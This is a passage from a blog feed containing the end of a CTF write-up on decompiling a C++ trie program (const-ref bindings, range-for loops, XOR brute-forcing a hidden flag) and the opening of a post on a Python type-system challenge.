&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-cpp language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp language-cpp&quot;&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;With &lt;code&gt;auto&lt;/code&gt;, our binding was creating new &lt;code&gt;char&lt;/code&gt; and &lt;code&gt;TrieNode*&lt;/code&gt; copies. (Hence, the extra 16 bytes.) With &lt;code&gt;const auto&amp;amp;&lt;/code&gt;, we take a constant reference.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Constant: meaning we only &lt;em&gt;read&lt;/em&gt; the value. No modifications. This fixes the second issue.&lt;/li&gt;
&lt;li&gt;Reference: meaning we &lt;em&gt;refer&lt;/em&gt; (point) to the original objects instead of copying them. This fixes the first issue.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).&lt;/p&gt;
&lt;h3 id=&quot;on-for-range-loops&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-for-range-loops&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On For-Range Loops&lt;/h3&gt;
&lt;p&gt;The astute may notice the above can be refactored slightly with the help of range-based &lt;code&gt;for&lt;/code&gt;-loops. These were introduced in C++11, and are like Python &lt;code&gt;for&lt;/code&gt;-&lt;code&gt;in&lt;/code&gt; loops, but less powerful.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Example&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-cpp language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp language-cpp&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;In fact, range-based &lt;code&gt;for&lt;/code&gt;-loops are syntactic sugar for the plain loops we all know and love.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;range_decl &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; range_expr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;translates to...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; __range &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; range_expr&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; __begin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; begin&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Usually std::begin(__range)&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; __end &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; end&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;// ...and std::end(__range).&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; __begin &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; __end&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;__begin&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		range_decl &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;__begin&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(See more: &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/range-for&quot;&gt;cppreference&lt;/a&gt;.)&lt;/p&gt;
&lt;h3 id=&quot;on-control-flow&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-control-flow&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Control Flow&lt;/h3&gt;
&lt;p&gt;Decompiler output may not accurately present the control flow of the original program. Changing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the order of control flow, and&lt;/li&gt;
&lt;li&gt;which statement is used&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;may lead us closer to 100%.&lt;/p&gt;
&lt;p&gt;Would it make more sense to use a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;switch&lt;/code&gt;&lt;/span&gt; instead of an &lt;code&gt;if&lt;/code&gt; in a certain place?&lt;/p&gt;
&lt;h3 id=&quot;other-useful-tips&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#other-useful-tips&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other Useful Tips&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use Godbolt’s &lt;strong&gt;Compiler Explorer&lt;/strong&gt; to play around with disassembly output. It helps with analysing small details such as variable declaration.
&lt;ul&gt;
&lt;li&gt;Remember to set x86-64 gcc 12.2 and &lt;code&gt;-std=c++17&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Two good sources for standard library documentation are &lt;a href=&quot;https://en.cppreference.com/w/&quot;&gt;&lt;em&gt;cppreference&lt;/em&gt;&lt;/a&gt; (high quality) and &lt;a href=&quot;https://cplusplus.com/reference/&quot;&gt;&lt;em&gt;cplusplus.com&lt;/em&gt;&lt;/a&gt; (beginner-friendly).&lt;/li&gt;
&lt;li&gt;Version control is incredibly useful for tracking incremental changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-infernal-flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#the-infernal-flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Infernal Flag&lt;/h2&gt;
&lt;p&gt;Once we recover enough source code, it&#39;s time to find the internal flag. This is probably the least interesting part (for me), so I&#39;ll keep it short.&lt;/p&gt;
&lt;p&gt;Notice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In &lt;code&gt;main&lt;/code&gt;, a bunch of garbage strings are inserted into the trie.&lt;/li&gt;
&lt;li&gt;Afterwards, mixing is turned on (&lt;code&gt;node-&amp;gt;should_mix = true&lt;/code&gt;), so that the next &lt;code&gt;node-&amp;gt;insert()&lt;/code&gt; will jumble the trie...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now it&#39;s time to take a really close look at &lt;code&gt;mix()&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;What&lt;/em&gt; is jumbled? All the strings.&lt;/li&gt;
&lt;li&gt;How? &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;All chars are xor&#39;ed with a char (the &lt;code&gt;wordhash&lt;/code&gt; of a string).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;How many possible chars are there? &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;256&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Two words: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;brute force&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maybe one of the strings just happens to be the internal flag xor&#39;ed. Who knows?&lt;/p&gt;
&lt;p&gt;After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!&lt;/p&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;I&#39;m sure the chal is called Vitamin C++ because it&#39;s designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Language Features: &lt;code&gt;auto&lt;/code&gt;, structured bindings, for-range loops, const-ref.&lt;/li&gt;
&lt;li&gt;Library Features: iterators, unordered map.&lt;/li&gt;
&lt;li&gt;Unordered map is preferred for performance in lookup.&lt;/li&gt;
&lt;li&gt;Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)&lt;/li&gt;
&lt;li&gt;Pay attention to groups of &lt;code&gt;sub&lt;/code&gt; and &lt;code&gt;mov&lt;/code&gt; instructions to check if we declared too little/many stack variables.&lt;/li&gt;
&lt;li&gt;Ghidra is pretty powerful.&lt;/li&gt;
&lt;li&gt;C++ is fun.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can&#39;t complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Hello?! Const-correctness? Ever heard of it?&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 672 / 457&quot; alt=&quot;Hello?! Const-correctness? Ever heard of it?&quot; title=&quot;Hello?! Const-correctness? Ever heard of it?&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp 672w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 672px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also, who doesn&#39;t like a good pun hidden in a challenge?&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1012 / 232&quot; alt=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; title=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp 1012w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1012px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;solve-sauce&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#solve-sauce&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Sauce&lt;/h2&gt;
&lt;p&gt;(Files not embedded, as they&#39;re a bit big.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-rev-cpp&quot;&gt;rev.cpp: Fully reversed (100% similarity) source.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-solve-py&quot;&gt;solve.py: For cracking the internal flag.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-send-py&quot;&gt;send.py: Driver program to test rev.cpp.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://ctftime.org/event/list/?year=2022#:~:text=Decompetition%20v2.0&quot;&gt;Decompetition&lt;/a&gt; is a reverse-engineering CTF held irregularly. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;[2024 Nov] demangler.com seems to be down. Here&#39;s a different site with similar functionality: &lt;a href=&quot;https://n.fuqu.jp/c++filtjs/&quot;&gt;n.fuqu.jp/c++filtjs/&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In proper engineering, we would hide the implementation behind &lt;code&gt;private&lt;/code&gt;, so &lt;code&gt;next_node&lt;/code&gt; should be a private variable. But since this is a CTF, proper engineering comes second. 😛 &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>cpp</category>
        
          <category>tutorial</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Subtype Metaprogramming is Mostly Harmless</title>
        <description>Inheritance go brrrrrrrr... abusing turing-complete typesystems to write fun programs in Python.</description>
        <link href="https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/"/>
        <updated>2023-10-02T00:00:00Z</updated>
        <id>https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Types are cool! But y&#39;know what&#39;s even cooler? A CTF challenge on types!&lt;/p&gt;
&lt;p&gt;This year&#39;s MapleCTF graced us with a challenge involving much class, much inheritance, much confuzzlement, and much eyesore.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 h-auto lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;Screenshot of output.py.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-797w.webp&quot;&gt;&lt;img class=&quot;multi rw&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-797w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:69.46%;aspect-ratio: auto 797 / 293&quot; alt=&quot;Screenshot of output.py.&quot; title=&quot;Screenshot of output.py.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-797w.webp 797w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 797px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Much harm.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-500w.webp&quot;&gt;&lt;img class=&quot;multi rw&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:25.54%;aspect-ratio: auto 500 / 500&quot; alt=&quot;Doge meme. Much class. Much inheritance. Much contravariant. Much turing. Much eyesore.&quot; title=&quot;Much harm.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Mostly Harmless&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
